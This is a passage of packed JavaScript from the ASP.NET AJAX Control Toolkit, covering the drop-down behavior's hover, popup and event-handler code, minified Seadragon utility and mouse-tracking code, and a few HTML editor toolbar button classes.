            this._isOver = true;
            this.raiseHoverOver(Sys.EventArgs.Empty);
            
            var bounds = $common.getBounds(elt);
            
            // measure the offset caused by absolute/relative positioning:
            // - set position to (0,0)
            $common.setLocation(this._dropFrame, {x:0, y:0});
            // - show element
            $common.setVisible(this._dropFrame, true);
            // - get the actual position
            var offset = $common.getLocation(this._dropFrame);
            // - hide element
            $common.setVisible(this._dropFrame, false);
            
            // apply the measured offset
            bounds.x -= offset.x;
            bounds.y -= offset.y; 
            
            $common.setBounds(this._dropFrameTop, { 
                x : bounds.x, 
                y : bounds.y,
                width : bounds.width,
                height : 1
            });
            $common.setBounds(this._dropFrameRight, {
                x : bounds.x + bounds.width - 1,
                y : bounds.y,
                width : 1,
                height : bounds.height
            });
            $common.setBounds(this._dropFrameBottom, {
                x : bounds.x,
                y : bounds.y + bounds.height - 1,
                width : bounds.width,
                height : 1
            });
            $common.setBounds(this._dropFrameLeft, {
                x : bounds.x,
                y : bounds.y,
                width : 1,
                height : bounds.height
            });
            $common.setBounds(this._dropArrow, {
                x : bounds.x + bounds.width - 17,
                y : bounds.y + 1,
                width : 16,
                height : bounds.height - 2
            });
            this._dropFrameTop.style.backgroundColor = this._highlightBorderColor;
            this._dropFrameRight.style.backgroundColor = this._highlightBorderColor;
            this._dropFrameBottom.style.backgroundColor = this._highlightBorderColor;
            this._dropFrameLeft.style.backgroundColor = this._highlightBorderColor;
            $common.setVisible(this._dropFrame, true);
            if (!this._oldBackgroundColor) {            
                this._oldBackgroundColor = $common.getCurrentStyle(elt, 'backgroundColor');
            }
            elt.style.backgroundColor = this._highlightBackgroundColor;
        }
    },
    
    unhover : function() {
        var elt = this.get_element();
        if (this._isOver || !this._isOpen) {
            this._isOver = false;
            if (!this._isOpen) {        
                $common.setVisible(this._dropFrame, false);
                if (this._oldBackgroundColor) {
                    elt.style.backgroundColor = this._oldBackgroundColor;
                    this._oldBackgroundColor = null;
                } else {
                    elt.style.backgroundColor = "transparent";
                }
            }
            this.raiseHoverOut(Sys.EventArgs.Empty);
        }
    },
    
    show : function() {
        if (!this._isOpen) {
            this.hover();

            var eventArgs = new Sys.CancelEventArgs();
            this.raiseShowing(eventArgs);
            this.raisePopup(eventArgs);
            if (eventArgs.get_cancel()) {
                return;
            }
            
            this._isOpen = true;
            this.populate();
            if (!this._dynamicPopulateBehavior || (this._dynamicPopulateBehavior._populated && this._cacheDynamicResults)) {
                this._showPopup();
            }
        }
    },
    
    _showPopup : function() {
        /// <summary>
        /// Show the drop down's popup
        /// </summary>
        /// <returns />
        
        this._dropPopupPopupBehavior.show();
        this.raiseShown(Sys.EventArgs.Empty);
    },
    
    hide : function() {
        if (this._isOpen) {
            var eventArgs = new Sys.CancelEventArgs();
            this.raiseHiding(eventArgs);
            if (eventArgs.get_cancel()) {
                return;
            }
        
            this._isOpen = false;
            this._dropPopupPopupBehavior.hide();
            
            this.raiseHidden(Sys.EventArgs.Empty);
        }
    },
    
    _dropWrapperHoverBehavior_onhover : function(sender, e) {
        this.hover();
    },
    _dropWrapperHoverBehavior_onunhover : function(sender, e) {
        this.unhover();
    },
    _dropWrapper_onclick : function(e) {
        if(e.target.tagName != "A") {
            if(!this._isOpen) {
                this.show();
            } else {
                this.hide();
            }
            this._wasClicked = true;
        }
    },
    _dropWrapper_oncontextmenu : function(e) {
        if(e.target.tagName != "A") {
            this._wasClicked = true;
            e.preventDefault();
            this.show();
        }
    },
    _dropFrame_onclick : function(e) {
        if(!this._isOpen) {
            this.show();
        } else {
            this.hide();
        }
        this._wasClicked = true;
    },
    _dropFrame_oncontextmenu : function(e) {
        this._wasClicked = true;
        e.preventDefault();
        this.show();
    },
    _dropDownControl_onclick : function(e) {
        //this._wasClicked = true;
    },
    _dropDownControl_oncontextmenu : function(e) {
        this._wasClicked = true;
        e.preventDefault();
    },
    _document_onclick : function(e) {        
        if(this._wasClicked) {
            this._wasClicked = false;
        } else if(this._isOpen) {
            this.hide();
            this.unhover();
        }
    },
    _document_oncontextmenu : function(e) {
        if(this._wasClicked) {
            this._wasClicked = false;
        } else if(this._isOpen) {
            this.hide();
            this.unhover();
        }
    },
    
    _onPopulated : function(sender, eventArgs) {
        /// <summary>
        /// Handler for DynamicPopulate behavior's Populated event
        /// </summary>
        /// <param name="sender" type="Object">
        /// DynamicPopulate behavior
        /// </param>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event args
        /// </param>
        AjaxControlToolkit.DropDownBehavior.callBaseMethod(this, '_onPopulated', [sender, eventArgs]);
        
        if (this._isOpen) {
            this._showPopup();
        }
    },
    
    get_onShow : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnShow Animation's JSON definition
        /// </value>
        return this._dropPopupPopupBehavior ? this._dropPopupPopupBehavior.get_onShow() : this._onShowJson;
    },
    set_onShow : function(value) {
        if (this._dropPopupPopupBehavior) {
            this._dropPopupPopupBehavior.set_onShow(value)
        } else {
            this._onShowJson = value;
        }
        this.raisePropertyChanged('onShow');
    },
    get_onShowBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnShow Animation's behavior
        /// </value>
        return this._dropPopupPopupBehavior ? this._dropPopupPopupBehavior.get_onShowBehavior() : null;
    },
    onShow : function() {
        /// <summary>
        /// Play the OnShow animation
        /// </summary>
        /// <returns />
        if (this._dropPopupPopupBehavior) {
            this._dropPopupPopupBehavior.onShow();
        }
    },
        
    get_onHide : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnHide Animation's JSON definition
        /// </value>
        return this._dropPopupPopupBehavior ? this._dropPopupPopupBehavior.get_onHide() : this._onHideJson;
    },
    set_onHide : function(value) {
        if (this._dropPopupPopupBehavior) {
            this._dropPopupPopupBehavior.set_onHide(value)
        } else {
            this._onHideJson = value;
        }
        this.raisePropertyChanged('onHide');
    },
    get_onHideBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnHide Animation's behavior
        /// </value>
        return this._dropPopupPopupBehavior ? this._dropPopupPopupBehavior.get_onHideBehavior() : null;
    },
    onHide : function() {
        /// <summary>
        /// Play the OnHide animation
        /// </summary>
        /// <returns />
        if (this._dropPopupPopupBehavior) {
            this._dropPopupPopupBehavior.onHide();
        }
    },
    
    get_dropDownControl : function() {
        return this._dropDownControl;
    },
    set_dropDownControl : function(value) {        
        if (this._dropDownControl != value) {
            this._dropDownControl = value;
            this.raisePropertyChanged("dropDownControl");
        }
    },
    
    get_highlightBorderColor : function() {
        return this._highlightBorderColor;
    },
    set_highlightBorderColor : function(value) {

        if (this._highlightBorderColor != value) {
            this._highlightBorderColor = value;
            // if(this.get_isInitialized()) {
            //     this._dropFrame.style.borderColor = value;
            // }
            this.raisePropertyChanged("highlightBorderColor");
        }
    },
    
    get_highlightBackgroundColor : function() {
        return this._highlightBackgroundColor; 
    },
    set_highlightBackgroundColor : function(value) {

        if (this._highlightBackgroundColor != value) {
            this._highlightBackgroundColor = value;
            if(this.get_isInitialized() && this._isOpen) {
                this._dropWrapper.style.backgroundColor = value;
            }
            this.raisePropertyChanged("highlightBackgroundColor");
        }
    },
    
    get_dropArrowBackgroundColor : function() {
        return this._dropArrowBackgroundColor;
    },
    set_dropArrowBackgroundColor : function(value) {

        if (this._dropArrowBackgroundColor != value) {
            this._dropArrowBackgroundColor = value;
            if(this.get_isInitialized()) {
                this._dropArrow.style.backgroundColor = value;
            }
            this.raisePropertyChanged("dropArrowBackgroundColor");
        }
    },
    
    get_dropArrowImageUrl : function() {
        return this._dropArrowImageUrl;
    },
    set_dropArrowImageUrl : function(value) {
        if (this._dropArrowImageUrl != value) {
            this._dropArrowImageUrl = value;
            if(this.get_isInitialized()) {
                if (this._dropArrow.className) {
                    this._dropArrow.className = "";
                    this._dropArrowWrapper.style.display = 'block';
                }
                this._dropArrowImage.src = value;
            }
            this.raisePropertyChanged("dropArrowImageUrl");
        }
    },
    
    get_dropArrowWidth : function() {
        return this._dropArrowWidth;
    },
    set_dropArrowWidth : function(value) {
        if (this._dropArrowWidth != value) {
            this._dropArrowWidth = value;
            if(this.get_isInitialized()) {
                this._dropArrow.style.width = value;
            }
            this.raisePropertyChanged("dropArrowWidth");
        }
    },
    
    get_isOver : function() {
        return this._isOver;
    },
    
    get_isOpen : function() {
        return this._isOpen;
    },
    
    add_showing : function(handler) {
        /// <summary>
        /// Add an event handler for the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('showing', handler);
    },
    remove_showing : function(handler) {
        /// <summary>
        /// Remove an event handler from the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('showing', handler);
    },
    raiseShowing : function(eventArgs) {
        /// <summary>
        /// Raise the showing event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the showing event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('showing');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_shown : function(handler) {
        /// <summary>
        /// Add an event handler for the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('shown', handler);
    },
    remove_shown : function(handler) {
        /// <summary>
        /// Remove an event handler from the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('shown', handler);
    },
    raiseShown : function(eventArgs) {
        /// <summary>
        /// Raise the shown event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the shown event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('shown');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_popup : function(handler) {
        /// <summary>
        /// Add an event handler for the popup event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        /// <obsolete>Use the shown event instead</obsolete>
        this.get_events().addHandler('popup', handler);
    },
    remove_popup : function(handler) {
        /// <summary>
        /// Remove an event handler from the popup event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        /// <obsolete>Use the shown event instead</obsolete>
        this.get_events().removeHandler('popup', handler);
    },
    raisePopup : function(eventArgs) {
        /// <summary>
        /// Raise the popup event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the popup event
        /// </param>
        /// <returns />
        /// <obsolete>Use the shown event instead</obsolete>
        
        var handler = this.get_events().getHandler('popup');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_hiding : function(handler) {
        /// <summary>
        /// Add an event handler for the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hiding', handler);
    },
    remove_hiding : function(handler) {
        /// <summary>
        /// Remove an event handler from the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hiding', handler);
    },
    raiseHiding : function(eventArgs) {
        /// <summary>
        /// Raise the hiding event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the hiding event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('hiding');
        if (handler) {
            handler(this, eventArgs);
        }
    },    
    
    add_hidden : function(handler) {
        /// <summary>
        /// Add an event handler for the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hidden', handler);
    },
    remove_hidden : function(handler) {
        /// <summary>
        /// Remove an event handler from the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hidden', handler);
    },
    raiseHidden : function(eventArgs) {
        /// <summary>
        /// Raise the hidden event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the hidden event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('hidden');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_hoverOver : function(handler) {
        /// <summary>
        /// Add an event handler for the hoverOver event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hoverOver', handler);
    },
    remove_hoverOver : function(handler) {
        /// <summary>
        /// Remove an event handler from the hoverOver event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hoverOver', handler);
    },
    raiseHoverOver : function(eventArgs) {
        /// <summary>
        /// Raise the hoverOver event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the hoverOver event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('hoverOver');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_hoverOut : function(handler) {
        /// <summary>
        /// Add an event handler for the hoverOut event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hoverOut', handler);
    },
    remove_hoverOut : function(handler) {
        /// <summary>
        /// Remove an event handler from the hoverOut event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hoverOut', handler);
    },
    raiseHoverOut : function(eventArgs) {
        /// <summary>
        /// Raise the hoverOut event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the hoverOut event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('hoverOut');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit.DropDownBehavior.registerClass('AjaxControlToolkit.DropDownBehavior', AjaxControlToolkit.DynamicPopulateBehaviorBase);
�Type.registerNamespace("AjaxControlToolkit.Seadragon");Type.registerNamespace("Seadragon");Seadragon.Utils=function(){var a=null,f="number",i=true,e=false,b=this,d={UNKNOWN:0,IE:1,FIREFOX:2,SAFARI:3,CHROME:4,OPERA:5};Seadragon.Browser=d;var c=b,l=["Msxml2.XMLHTTP","Msxml3.XMLHTTP","Microsoft.XMLHTTP"],n={bmp:e,jpeg:i,jpg:i,png:i,tif:e,wdp:e},g=d.UNKNOWN,h=0,j=e,m={};(function(){var e=navigator.appName,r=navigator.appVersion,a=navigator.userAgent;if(e=="Microsoft Internet Explorer"&&!!window.attachEvent&&!!window.ActiveXObject){var l=a.indexOf("MSIE");g=d.IE;h=parseFloat(a.substring(l+5,a.indexOf(";",l)))}else if(e=="Netscape"&&!!window.addEventListener){var k=a.indexOf("Firefox"),b=a.indexOf("Safari"),o=a.indexOf("Chrome");if(k>=0){g=d.FIREFOX;h=parseFloat(a.substring(k+8))}else if(b>=0){var q=a.substring(0,b).lastIndexOf("/");g=o>=0?d.CHROME:d.SAFARI;h=parseFloat(a.substring(q+1,b))}}else if(e=="Opera"&&!!window.opera&&!!window.attachEvent){g=d.OPERA;h=parseFloat(r)}for(var p=window.location.search.substring(1),n=p.split("&"),i=0;i<n.length;i++){var c=n[i],f=c.indexOf("=");if(f>0)m[c.substring(0,f)]=decodeURIComponent(c.substring(f+1))}j=g==d.IE||g==d.CHROME&&h<2})();function k(a,b){if(b&&a!=document.body)return document.body;else return a.offsetParent}b.getBrowser=function(){return g};b.getBrowserVersion=function(){return h};b.getElement=function(a){if(typeof a=="string")a=document.getElementById(a);return a};b.getElementPosition=function(a){var a=c.getElement(a),b=new Seadragon.Point,d=c.getElementStyle(a).position=="fixed",e=k(a,d);while(e){b.x+=a.offsetLeft;b.y+=a.offsetTop;if(d)b=b.plus(c.getPageScroll());a=e;d=c.getElementStyle(a).position=="fixed";e=k(a,d)}return b};b.getElementSize=function(a){var a=c.getElement(a);return new Seadragon.Point(a.clientWidth,a.clientHeight)};b.getElementStyle=function(a){var a=c.getElement(a);if(a.currentStyle)return a.currentStyle;else if(window.getComputedStyle)return window.getComputedStyle(a,"");else Seadragon.Debug.fail("Unknown element style, no known technique.")};b.getEvent=function(a){return a?a:window.event};b.getMousePosition=function(a){var a=c.getEvent(a),b=new Seadragon.Point;if(typeof a.pageX==f){b.x=a.pageX;b.y=a.pageY}else if(typeof a.clientX==f){b.x=a.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;b.y=a.clientY+document.body.scrollTop+document.documentElement.scrollTop}else Seadragon.Debug.fail("Unknown event mouse position, no known technique.");return b};b.getPageScroll=function(){var a=new Seadragon.Point,b=document.documentElement||{},c=document.body||{};if(typeof window.pageXOffset==f){a.x=window.pageXOffset;a.y=window.pageYOffset}else if(c.scrollLeft||c.scrollTop){a.x=c.scrollLeft;a.y=c.scrollTop}else if(b.scrollLeft||b.scrollTop){a.x=b.scrollLeft;a.y=b.scrollTop}return a};b.getWindowSize=function(){var a=new Seadragon.Point,b=document.documentElement||{},c=document.body||{};if(typeof window.innerWidth==f){a.x=window.innerWidth;a.y=window.innerHeight}else if(b.clientWidth||b.clientHeight){a.x=b.clientWidth;a.y=b.clientHeight}else if(c.clientWidth||c.clientHeight){a.x=c.clientWidth;a.y=c.clientHeight}else Seadragon.Debug.fail("Unknown window size, no known technique.");return a};b.imageFormatSupported=function(a){var a=a?a:"";return !!n[a.toLowerCase()]};b.makeCenteredNode=function(g){var b="border:none; margin:0px; padding:0px;",g=Seadragon.Utils.getElement(g),d=c.makeNeutralElement("div"),a=[];a.push('<div style="display:table; height:100%; width:100%;');a.push(b);a.push('#position:relative; overflow:hidden; text-align:left;">');a.push('<div style="#position:absolute; #top:50%; width:100%; ');a.push(b);a.push('display:table-cell; vertical-align:middle;">');a.push('<div style="#position:relative; #top:-50%; width:100%; ');a.push(b);a.push('text-align:center;"></div></div></div>');d.innerHTML=a.join("");d=d.firstChild;var f=d,e=d.getElementsByTagName("div");while(e.length>0){f=e[0];e=f.getElementsByTagName("div")}f.appendChild(g);return d};b.makeNeutralElement=function(c){var b=document.createElement(c),a=b.style;a.background="transparent none";a.border="none";a.margin="0px";a.padding="0px";a.position="static";return b};b.makeTransparentImage=function(f){var e=c.makeNeutralElement("img"),b=a;if(g==d.IE&&h<7){b=c.makeNeutralElement("span");b.style.display="inline-block";e.onload=function(){b.style.width=b.style.width||e.width+"px";b.style.height=b.style.height||e.height+"px";e.onload=a;e=a};e.src=f;b.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+f+"', sizingMethod='scale')"}else{b=e;b.src=f}return b};b.setElementOpacity=function(a,b,g){var a=c.getElement(a);if(g&&j)b=Math.round(b);if(b<1)a.style.opacity=b;else a.style.opacity="";if(b==1){var f=a.style.filter||"";a.style.filter=f.replace(/alpha\(.*?\)/g,"");return}var d=Math.round(100*b),e=" alpha(opacity="+d+") ";try{if(a.filters&&a.filters.alpha)a.filters.alpha.opacity=d;else a.style.filter+=e}catch(h){a.style.filter+=e}};b.addEvent=function(a,d,e,b){var a=c.getElement(a);if(a.addEventListener)a.addEventListener(d,e,b);else if(a.attachEvent){a.attachEvent("on"+d,e);b&&a.setCapture&&a.setCapture()}else Seadragon.Debug.fail("Unable to attach event handler, no known technique.")};b.removeEvent=function(a,d,e,b){var a=c.getElement(a);if(a.removeEventListener)a.removeEventListener(d,e,b);else if(a.detachEvent){a.detachEvent("on"+d,e);b&&a.releaseCapture&&a.releaseCapture()}else Seadragon.Debug.fail("Unable to detach event handler, no known technique.")};b.cancelEvent=function(a){var a=c.getEvent(a);a.preventDefault&&a.preventDefault();a.cancel=i;a.returnValue=e};b.stopEvent=function(a){var a=c.getEvent(a);a.stopPropagation&&a.stopPropagation();a.cancelBubble=i};b.createCallback=function(d,c){for(var b=[],a=2;a<arguments.length;a++)b.push(arguments[a]);return function(){for(var e=b.concat([]),a=0;a<arguments.length;a++)e.push(arguments[a]);return c.apply(d,e)}};b.getUrlParameter=function(c){var b=m[c];return b?b:a};b.makeAjaxRequest=function(g,d){var c=typeof d=="function",b=a;if(c)var f=d,d=function(){window.setTimeout(Seadragon.Utils.createCallback(a,f,b),1)};if(window.ActiveXObject)for(var e=0;e<l.length;e++)try{b=new ActiveXObject(l[e]);break}catch(h){continue}else if(window.XMLHttpRequest)b=new XMLHttpRequest;!b&&Seadragon.Debug.fail("Browser doesn't support XMLHttpRequest.");if(c)b.onreadystatechange=function(){if(b.readyState==4){b.onreadystatechange=new Function;d()}};try{b.open("GET",g,c);b.send(a)}catch(h){Seadragon.Debug.log(h.name+" while making AJAX request: "+h.message);b.onreadystatechange=a;b=a;c&&d()}return c?a:b};b.parseXml=function(c){var b=a;if(window.ActiveXObject)try{b=new ActiveXObject("Microsoft.XMLDOM");b.async=e;b.loadXML(c)}catch(f){Seadragon.Debug.log(f.name+" while parsing XML (ActiveX): "+f.message)}else if(window.DOMParser)try{var d=new DOMParser;b=d.parseFromString(c,"text/xml")}catch(f){Seadragon.Debug.log(f.name+" while parsing XML (DOMParser): "+f.message)}else Seadragon.Debug.fail("Browser doesn't support XML DOM.");return b}};Seadragon.Utils=new Seadragon.Utils;�Type.registerNamespace("AjaxControlToolkit.Seadragon");Type.registerNamespace("Seadragon");(function(){var c="mouseup",d="mousedown",b=true,a=false;if(Seadragon.MouseTracker)return;var e=Seadragon.Utils.getBrowser()==Seadragon.Browser.IE,i=a,l=a,k={},f=[];function j(a){return Seadragon.Utils.getMousePosition(a)}function g(b,d){var c=Seadragon.Utils.getMousePosition(b),a=Seadragon.Utils.getElementPosition(d);return c.minus(a)}function h(c,b){var d=document.body;while(b&&c!=b&&d!=b)try{b=b.parentNode}catch(e){return a}return c==b}function m(){i=b}function n(){i=a}(function(){if(e){Seadragon.Utils.addEvent(document,d,m,a);Seadragon.Utils.addEvent(document,c,n,a)}else{Seadragon.Utils.addEvent(window,d,m,b);Seadragon.Utils.addEvent(window,c,n,b)}})();Seadragon.MouseTracker=function(m,H,G){var p="function",q="mousemove",t="mouseout",s="mouseover",o=null,r=this,n=r,A=o,F=Math.random(),m=Seadragon.Utils.getElement(m),y=a,u=a,w=a,x=a,z=o,J=o,I=o,H=H,G=G;r.target=m;r.enterHandler=o;r.exitHandler=o;r.pressHandler=o;r.releaseHandler=o;r.clickHandler=o;r.dragHandler=o;function R(){if(!y){Seadragon.Utils.addEvent(m,s,D,a);Seadragon.Utils.addEvent(m,t,E,a);Seadragon.Utils.addEvent(m,d,O,a);Seadragon.Utils.addEvent(m,c,v,a);Seadragon.Utils.addEvent(m,"click",N,a);y=b;k[F]=A}}function T(){if(y){Seadragon.Utils.removeEvent(m,s,D,a);Seadragon.Utils.removeEvent(m,t,E,a);Seadragon.Utils.removeEvent(m,d,O,a);Seadragon.Utils.removeEvent(m,c,v,a);Seadragon.Utils.removeEvent(m,"click",N,a);B();y=a;delete k[F]}}function S(){if(!u){if(e){Seadragon.Utils.removeEvent(m,c,v,a);Seadragon.Utils.addEvent(m,c,P,b);Seadragon.Utils.addEvent(m,q,L,b)}else{Seadragon.Utils.addEvent(window,c,K,b);Seadragon.Utils.addEvent(window,q,C,b)}u=b}}function B(){if(u){if(e){Seadragon.Utils.removeEvent(m,q,L,b);Seadragon.Utils.removeEvent(m,c,P,b);Seadragon.Utils.addEvent(m,c,v,a)}else{Seadragon.Utils.removeEvent(window,q,C,b);Seadragon.Utils.removeEvent(window,c,K,b)}u=a}}function M(c,d){var b=k;for(var a in b)b.hasOwnProperty(a)&&F!=a&&b[a][c](d)}function U(){return x}function D(a){var a=Seadragon.Utils.getEvent(a);e&&u&&!h(a.srcElement,m)&&M("onMouseOver",a);var d=a.target?a.target:a.srcElement,c=a.relatedTarget?a.relatedTarget:a.fromElement;if(!h(m,d)||h(m,c))return;x=b;if(typeof n.enterHandler==p)try{n.enterHandler(n,g(a,m),w,i)}catch(f){Seadragon.Debug.error(f.name+" while executing enter handler: "+f.message,f)}}function E(b){var b=Seadragon.Utils.getEvent(b);e&&u&&!h(b.srcElement,m)&&M("onMouseOut",b);var c=b.target?b.target:b.srcElement,d=b.relatedTarget?b.relatedTarget:b.toElement;if(!h(m,c)||h(m,d))return;x=a;if(typeof n.exitHandler==p)try{n.exitHandler(n,g(b,m),w,i)}catch(f){Seadragon.Debug.error(f.name+" while executing exit handler: "+f.message,f)}}function O(a){var a=Seadragon.Utils.getEvent(a);if(a.button==2)return;w=b;z=j(a);I=z;J=(new Date).getTime();if(typeof n.pressHandler==p)try{n.pressHandler(n,g(a,m))}catch(c){Seadragon.Debug.error(c.name+" while executing press handler: "+c.message,c)}(n.pressHandler||n.dragHandler)&&Seadragon.Utils.cancelEvent(a);if(!e||!l){S();l=b;f=[A]}else e&&f.push(A)}function v(b){var b=Seadragon.Utils.getEvent(b),d=w,c=x;if(b.button==2)return;w=a;if(typeof n.releaseHandler==p)try{n.releaseHandler(n,g(b,m),d,c)}catch(e){Seadragon.Debug.error(e.name+" while executing release handler: "+e.message,e)}d&&c&&Q(b)}function P(b){var b=Seadragon.Utils.getEvent(b);if(b.button==2)return;for(var c=0;c<f.length;c++){var d=f[c];!d.hasMouse()&&d.onMouseUp(b)}B();l=a;b.srcElement.fireEvent("on"+b.type,document.createEventObject(b));Seadragon.Utils.stopEvent(b)}function K(a){!x&&v(a);B()}function N(a){n.clickHandler&&Seadragon.Utils.cancelEvent(a)}function Q(a){var a=Seadragon.Utils.getEvent(a);if(a.button==2)return;var e=(new Date).getTime()-J,c=j(a),b=I.distanceTo(c),d=e<=H&&b<=G;if(typeof n.clickHandler==p)try{n.clickHandler(n,g(a,m),d,a.shiftKey)}catch(f){Seadragon.Debug.error(f.name+" while executing click handler: "+f.message,f)}}function C(a){var a=Seadragon.Utils.getEvent(a),b=j(a),c=b.minus(z);z=b;if(typeof n.dragHandler==p){try{n.dragHandler(n,g(a,m),c,a.shiftKey)}catch(d){Seadragon.Debug.error(d.name+" while executing drag handler: "+d.message,d)}Seadragon.Utils.cancelEvent(a)}}function L(b){for(var a=0;a<f.length;a++)f[a].onMouseMove(b);Seadragon.Utils.stopEvent(b)}(function(){A={hasMouse:U,onMouseOver:D,onMouseOut:E,onMouseUp:v,onMouseMove:C}})();r.isTracking=function(){return y};r.setTracking=function(a){if(a)R();else T()}}})();FType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("subScript",false,null)},checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript.callBaseMethod(this,"checkState"))return false;return this._designPanel._queryCommandState("subScript")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);LType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight.prototype={checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight.callBaseMethod(this,"checkState"))return false;return this._designPanel._textAlignState("right")},callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("JustifyRight")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton.prototype={onEditPanelActivity:function(){AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton.callBaseMethod(this,"onEditPanelActivity");this.setActivity(this.checkState())},checkState:function(){if(!this.checkRangeInDesign())return false;return true}};AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton=function(a){AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton.prototype={};AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton.registerClass("AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton",AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton);�sAjaxControlToolkit.HTMLEditor.MSIE_list=function(r){var 